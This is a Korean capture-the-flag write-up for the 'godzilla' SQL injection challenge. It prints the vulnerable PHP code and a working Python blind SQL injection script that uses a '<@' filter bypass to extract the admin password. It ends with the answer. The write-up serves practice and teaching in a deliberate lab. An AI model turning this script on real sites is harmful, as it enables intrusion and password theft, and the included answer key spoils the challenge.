godzilla

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

id가 존재하면 웹 페이지에 Hello admin을 출력한다.

admin의  pw를 알아내기 위해이를 기반으로 Blind SQL Injection을 수행한다.

지금까지 계속해오던 방식이라 쉽게 할 수 있을 것이다.

import requests

url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?id='<@ or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1

#a18a6cc5
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?id='<@ or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end='')
                    tmp=''
                break
    
find_pw()

공격 구문에 사용된 <@은 아래 문제 풀이를 참고하면 이해 가능하다.

https://dbgdbg.tistory.com/entry/cthulhu

cthulhu

답: ?pw=a18a6cc5